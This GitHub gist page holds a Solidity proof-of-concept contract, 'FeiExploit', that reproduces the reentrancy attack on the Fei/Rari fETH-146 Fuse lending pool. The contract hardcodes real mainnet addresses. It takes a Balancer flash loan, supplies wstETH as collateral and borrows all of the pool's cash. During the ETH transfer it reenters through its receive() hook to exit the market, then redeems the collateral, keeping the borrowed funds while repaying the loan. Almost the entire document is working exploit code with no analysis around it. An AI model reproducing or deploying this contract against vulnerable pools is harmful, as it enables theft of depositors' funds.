-
-
Save ShaunLWM/e022030d2840084242eedfc44290d9b7 to your computer and use it in GitHub Desktop.
Fei fETH-146 Fuse Pool exploit - Reentrancy on doTransferOut() while borrowing.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "hardhat/console.sol"; | |
interface IERC20 { | |
event Approval(address indexed owner, address indexed spender, uint value); | |
event Transfer(address indexed from, address indexed to, uint value); | |
function name() external view returns (string memory); | |
function symbol() external view returns (string memory); | |
function decimals() external view returns (uint8); | |
function totalSupply() external view returns (uint); | |
function balanceOf(address owner) external view returns (uint); | |
function allowance(address owner, address spender) external view returns (uint); | |
function approve(address spender, uint value) external returns (bool); | |
function transfer(address to, uint value) external returns (bool); | |
function transferFrom(address from, address to, uint value) external returns (bool); | |
} | |
interface IWETH { | |
function deposit() external payable; | |
function transfer(address to, uint value) external returns (bool); | |
function withdraw(uint) external; | |
} | |
interface IBalancer { | |
event FlashLoan(address indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); | |
function flashLoan( | |
address recipient, | |
IERC20[] memory tokens, | |
uint256[] memory amounts, | |
bytes memory userData | |
) external; | |
} | |
interface IPool { | |
function getCash() external view returns (uint); | |
function mint() external payable; | |
function borrow(uint borrowAmount) external returns (uint); | |
function getAccountLiquidity(address account) external view returns (uint, uint, uint); | |
} | |
interface IUnitroller { | |
function enterMarkets(address[] memory cTokens) external returns (uint[] memory); | |
function getAccountLiquidity(address account) external view returns (uint, uint, uint); | |
function exitMarket(address cToken) external returns (uint); | |
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); | |
} | |
interface ICToken { | |
function mint(uint mintAmount) external returns (uint); | |
function redeem(uint redeemTokens) external returns (uint); | |
function redeemUnderlying(uint redeemAmount) external returns (uint); | |
function borrow(uint borrowAmount) external returns (uint); | |
function repayBorrow(uint repayAmount) external returns (uint); | |
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); | |
function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); | |
function underlying() external view returns (address); | |
} | |
contract FeiExploit{ | |
error Notbalancer(); | |
error NotOwner(); | |
address private immutable owner; | |
address private immutable pool; // Tribe ETH Pool Ethereum Network (fETH-146) | |
ICToken private immutable fWsEthPool; // Tribe ETH Pool Wrapped Staked Ether (fWSTETH-146) | |
IERC20 private immutable underlyingWstEth; // Wrapped liquid staked Ether 2.0 (wstETH) | |
constructor(ICToken _fWsEthPool,IERC20 _underlying,address _pool) { | |
owner = msg.sender; | |
pool = _pool; | |
fWsEthPool = _fWsEthPool; | |
underlyingWstEth = _underlying; | |
} | |
address constant wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | |
address constant balancerAddress = 0xBA12222222228d8Ba445958a75a0704d566BF2C8; | |
address constant UnicontrollerAddress = 0x88F7c23EA6C4C404dA463Bc9aE03b012B32DEf9e; | |
IBalancer constant balancer = IBalancer(balancerAddress); | |
function exploit(IERC20[] calldata tokens,uint256[] calldata amounts) public payable { | |
IBalancer(balancerAddress).flashLoan( | |
address(this), | |
tokens, | |
amounts, | |
"" | |
); | |
} | |
function log() public view { | |
console.log("wstEth Balance After: ",underlyingWstEth.balanceOf(address(this))); | |
console.log("cPool146 Balance After: ",IERC20(address(fWsEthPool)).balanceOf(address(this))); | |
console.log("ETHER BALANCE : ",address(this).balance); | |
console.log("WETH BALANCE : ",IERC20(wethAddress).balanceOf(address(this))); | |
} | |
function logPoolCash() external view returns (uint256) { | |
return IPool(pool).getCash(); | |
} | |
function receiveFlashLoan(IERC20[] calldata tokens,uint256[] calldata amounts,uint256[] calldata feeAmounts,bytes calldata userData) public payable { | |
if (msg.sender != balancerAddress) revert Notbalancer(); | |
console.log("EXPLOITING fETH-146 Pool"); | |
uint256 cash = IPool(pool).getCash(); | |
address[] memory t = new address[](1); | |
t[0] = address(fWsEthPool); | |
IUnitroller(UnicontrollerAddress).enterMarkets(t); | |
underlyingWstEth.approve(address(fWsEthPool), underlyingWstEth.balanceOf(address(this))); | |
ICToken(fWsEthPool).mint(underlyingWstEth.balanceOf(address(this))); | |
(, uint256 val,) = IUnitroller(UnicontrollerAddress).getAccountLiquidity(address(this)); | |
underlyingWstEth.approve(pool, IERC20(address(fWsEthPool)).balanceOf(address(this))); | |
uint256 out = IPool(pool).borrow(cash); | |
console.log("BORROWED STATUS :",out); | |
log(); | |
console.log(IUnitroller(UnicontrollerAddress).redeemAllowed(address(fWsEthPool),address(this),IERC20(address(fWsEthPool)).balanceOf(address(this)))); | |
uint256 radeemOut = ICToken(fWsEthPool).redeemUnderlying(amounts[0]); //0 status code = success | |
tokens[0].transfer(balancerAddress,amounts[0]); | |
tokens[1].transfer(balancerAddress,amounts[1]); | |
} | |
receive() external payable { | |
if (msg.sender == pool) { | |
IUnitroller(UnicontrollerAddress).exitMarket(address(fWsEthPool)); | |
console.log(IUnitroller(UnicontrollerAddress).redeemAllowed(address(fWsEthPool),address(this),IERC20(address(fWsEthPool)).balanceOf(address(this)))); // should be allowed. | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment